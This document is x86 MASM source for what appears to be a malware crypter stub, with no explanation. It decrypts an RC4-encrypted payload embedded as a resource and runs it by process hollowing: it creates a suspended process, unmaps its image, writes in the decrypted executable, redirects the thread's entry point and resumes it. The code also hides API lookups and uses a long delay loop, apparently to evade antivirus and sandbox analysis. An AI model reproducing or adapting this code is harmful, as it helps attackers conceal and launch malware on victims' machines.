;Compiled with MASM .386 .model flat, stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\shell32.inc include \masm32\include\ntdll.inc include 123.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\ntdll.lib .code Rc4_setkey proc Pass:DWORD, LenPass:DWORD pushad mov eax, 0FFFEFDFCh mov ecx, 256/4 Init_rc4keytable: mov dword ptr [rc4keytable+4*ecx-4], eax sub eax, 04040404h dec ecx jnz Init_rc4keytable xor eax, eax mov edi, Pass Key_return: xor ebx, ebx mov esi ,LenPass jmp New_key Key_loop: inc bl dec esi jz Key_return New_key: mov dl, byte ptr [rc4keytable+ecx] add al, byte ptr [edi+ebx] add al, dl mov dh, byte ptr [rc4keytable+eax] mov byte ptr [rc4keytable+ecx], dh mov byte ptr [rc4keytable+eax], dl inc cl jnz Key_loop popad ret Rc4_setkey endp Rc4_crypt proc iData:DWORD, LenData:DWORD pushad mov edi, LenData mov esi, iData test edi, edi jz Rc4_enc_exit xor eax, eax xor edx, edx xor ecx, ecx xor ebx, ebx Rc4_enc_loop: inc bl mov dl, byte ptr [rc4keytable+ebx] add al, dl mov cl, byte ptr [rc4keytable+eax] mov byte ptr [rc4keytable+ebx], cl mov byte ptr [rc4keytable+eax], dl add cl, dl mov cl, byte ptr [rc4keytable+ecx] xor byte ptr [esi], cl inc esi dec edi jnz Rc4_enc_loop xor eax, eax mov edi, offset rc4keytable mov ecx, 256/4 cld rep stosd Rc4_enc_exit: popad ret Rc4_crypt endp getadress proc module:DWORD,funcion:DWORD LOCAL fh:HMODULE push module call LoadLibrary mov fh,eax push funcion push fh call GetProcAddress mov ebx,eax ;invoke FreeLibrary,fh ret getadress endp ExtractFile proc local hResource:dword LOCAL sinfo: STARTUPINFO LOCAL pinfo: PROCESS_INFORMATION LOCAL base: dword LOCAL sec: ptr IMAGE_SECTION_HEADER LOCAL cnt: CONTEXT push 256 push offset mPath push 0 call GetModuleFileName push 0 call GetModuleHandle mov hInstance, eax invoke getadress,addr find1,addr find2 mov temp,ebx push RT_RCDATA push 1212 push hInstance call temp .if eax == 0 invoke ExitProcess,0 .else mov hResource, eax ;invoke SizeofResource, hInstance, hResource push hResource push hInstance call SizeofResource .if eax != 0 mov hResourceSize, eax ;invoke LoadResource, hInstance, hResource push hResource push hInstance call LoadResource ; invoke getadress,find1,find8 ;mov temp,ebx ;push hResource ;push hInstance ;call temp .if eax != 0 invoke LockResource, eax mov ResInf , eax invoke lstrlen,addr password invoke Rc4_setkey,addr password,eax invoke Rc4_crypt,ResInf,hResourceSize invoke RtlZeroMemory, addr sinfo, sizeof STARTUPINFO ;invoke CreateProcess, offset mPath, 0, 0, 0, 0, CREATE_SUSPENDED, 0, 0, addr sinfo, addr pinfo invoke getadress,find1,find4 mov temp,eax lea edx,pinfo push edx lea edx,sinfo push edx push 0 push 0 push CREATE_SUSPENDED push 0 push 0 push 0 push 0 push offset mPath call CreateProcess invoke RtlZeroMemory, addr cnt, sizeof CONTEXT mov cnt.ContextFlags, CONTEXT_INTEGER invoke GetThreadContext, pinfo.hThread, addr cnt ; invoke GetModuleHandle, 0 push 0 call GetModuleHandle ; invoke ZwUnmapViewOfSection, pinfo.hProcess, eax push eax push pinfo.hProcess call ZwUnmapViewOfSection mov edi, ResInf add edi, IMAGE_DOS_HEADER.e_lfanew[edi] assume edi: ptr IMAGE_NT_HEADERS invoke VirtualAllocEx, pinfo.hProcess, [edi].OptionalHeader.ImageBase, [edi].OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE, PAGE_EXECUTE_READWRITE mov base, eax ;invoke WriteProcessMemory, pinfo.hProcess, base, ResInf , [edi].OptionalHeader.SizeOfHeaders, 0 invoke getadress,addr find1,addr find3 mov temp,eax push 0 push [edi].OptionalHeader.SizeOfHeaders push ResInf push base push pinfo.hProcess call temp lea eax, [edi].OptionalHeader mov sec, eax movzx eax, [edi].FileHeader.SizeOfOptionalHeader add sec, eax xor eax, eax xor esi, esi xor ecx, ecx .while ( si < [edi].FileHeader.NumberOfSections ) imul eax, esi, sizeof IMAGE_SECTION_HEADER add eax, sec mov ebx, base add ebx, IMAGE_SECTION_HEADER.VirtualAddress[eax] mov edx, ResInf add edx, IMAGE_SECTION_HEADER.PointerToRawData[eax] invoke WriteProcessMemory, pinfo.hProcess, ebx, edx, IMAGE_SECTION_HEADER.SizeOfRawData[eax],0 inc esi .endw mov eax, base add eax, [edi].OptionalHeader.AddressOfEntryPoint mov cnt.regEax, eax invoke SetThreadContext, pinfo.hThread, addr cnt invoke ResumeThread, pinfo.hThread ret .endif .endif .endif ExtractFile endp _entrypoint: mov loop_stopper,500000000 loop_start: mov eax,0 push eax pop eax cmp loop_stopper, 0 dec loop_stopper jg loop_start invoke ExtractFile invoke ExitProcess, 0 end _entrypoint